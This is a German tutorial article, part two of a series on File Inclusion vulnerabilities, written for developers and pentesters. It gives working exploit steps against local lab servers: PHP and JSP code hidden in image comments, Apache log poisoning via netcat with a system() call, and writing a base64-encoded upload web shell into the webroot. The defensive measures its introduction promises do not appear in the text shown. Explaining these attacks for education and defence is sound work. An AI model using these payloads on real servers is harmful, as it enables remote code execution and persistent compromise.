File Inclusions: kleiner Programmierfehler, fatale Wirkung, Teil 2: Praxis
Nach den Grundlagen zu File Inclusion im ersten Teil der Artikelserie beleuchtet der abschlieĂźende zweite Teil die Methoden, die Angreifer zum Ă–ffnen der LĂĽcken verwenden, und zeigt anschlieĂźend MaĂźnahmen, eigene Anwendungen vor File Inclusion zu schĂĽtzen.
- Matthias Altmann
Softwareentwickler und Pentester sollten ein Verständnis für die allgemeinen Sicherheitslücken haben, die sich durch File Inclusions ergeben. Erstere lernen, wie sie Schwachstellen vermeiden können und Letztere bekommen ein Bild von den Angriffsmustern, die sich daraus ergeben.
Damit Angreifer auf den Server eines Opfers kommen, benötigen sie zunächst ein Einfallstor. Sie müssen in der Lage sein, Code in die Anwendung zu schleusen und danach auszuführen. Mögliche Wege sind Upload-Funktionen und Bilder. Sofern ein Upload-Formular nicht prüft, ob hochgeladene Dateien Code enthalten, lässt sich darüber Schadcode einbringen, wenn auf das gleiche Verzeichnis per URL zugegriffen werden kann.
Nur Bilder zum Hochladen zu erlauben, birgt dennoch eine Schwachstelle: Achtet der Server beim Bild-Upload zwar auf Magic Bytes, nicht jedoch auf die Endung des Dateinamens, fĂĽhren sowohl PHP als auch JSP Kommentare innerhalb der Bytes von Bildern aus:
Zunächst erzeugen Angreifer dazu ein 1 x 1 Pixel großes Bild beispielsweise mit ImageMagick:
convert -size 1x1 xc:white white.png
Und geben schlieĂźlich folgenden Befehl fĂĽr PHP ein:
convert white.png -set comment \
'<?php echo "RCE possible";?>' pic.php
Nach dem Hochladen läuft der Code mit
http://127.0.0.1:8883/lfi.php?page=uploads/pic.php.
In JSP sieht es ähnlich aus:
convert white.png -set comment \
'<\% out.println("RCE possible"); \%>' pic.jsp
Nach dem Hochladen folgt
http://127.0.0.1:8881/webapp/?help=pic.jsp
Neben dem üblichen Weg für LFI-Angriffe mit schreibendem Zugriff ist PHP in der Standardinstallation ohne Härtung noch für weitere Formen anfällig.
Log Injection
Da PHP auch den Code innerhalb von Textdateien ausführt, können Angreifer versuchen, eine Anfrage an den Server zu senden und danach über den Browser auf die Log-Ausgabe zugreifen und somit den Code innerhalb der Logs zu starten.
Sofern die Möglichkeit eines LFI mit lesendem Zugriff bekannt ist, können Angreifer nach dem Standardverzeichnis von Apache-Logs suchen – oder nach dem Verzeichnis der Logs innerhalb der allgemeinen Apache-Konfigurationsdatei.
Auf das Beispiel bezogen ergibt sich
/etc/apache2/sites-available/000-default.conf
und daraus
${APACHE_LOG_DIR}/access_combined.log
mit
/var/log/apache2/access_combined.log
Nun können Angreifer direkt den Server ansprechen und Inhalte in die Logs injizieren. Das HTTP-Protokoll benötigen sie dazu nicht, da es nur einen Log-Eintrag zu erzeugen gilt. Der Befehl muss komplett in einer Zeile stehen, da die Log-Erstellung zeilenweise stattfindet und der Befehl sonst abgeschnitten wird:
nc 127.0.0.1 8883
<?php system('uname -a');?>
Der Aufruf von http://127.0.0.1:8883/lfi.php?page=/var/log/apache2/access_combined.log
fĂĽhrt den Code aus und zeigt die aktuelle Kernel-Version des Servers.
Fehlt ein Upload-Formular, aber der Server ermöglicht Log Injection, können Angreifer ein Skript über PHP erzeugen und in die URL einbinden. Damit ermöglichen sie ebenfalls das Hochladen von Dateien über den Browser. Um alles in eine Zeile zu packen, enkodieren sie den zu erstellende Code mit Base64.
Als Erstes bildet die Datei "toencode.php" den notwendigen Code:
<?php
if(isset($_POST['upload']))
{
if(move_uploaded_file($_FILES['file']['tmp_name'],
$_FILES['file']['name']))
echo '<p><b>Die Datei wurde erfolgreich hochgeladen.
<b></p>';
}
?>
<form action=""
enctype="multipart/form-data" method="post">
<input type="file" name="file">
<input type="submit" name="upload">
</form>
Der cat
-Befehl erzeugt daraus einen Base64-String:
cat "toencode.php"|base64
Netcat erledigt den Rest, und der Code ist danach in den Logs von Apache platziert. Ein Aufruf der Logs per URL zeigt an, dass ein "uploads/uploadscript.php" auf dem Webserver vorhanden ist, das sich zum Hochladen verwenden lässt:
nc 127.0.0.1 8883
<?php
fwrite(fopen('/var/www/html/uploads/uploadscript.php',
'w'),base64_decode('PD9wa...')); ?>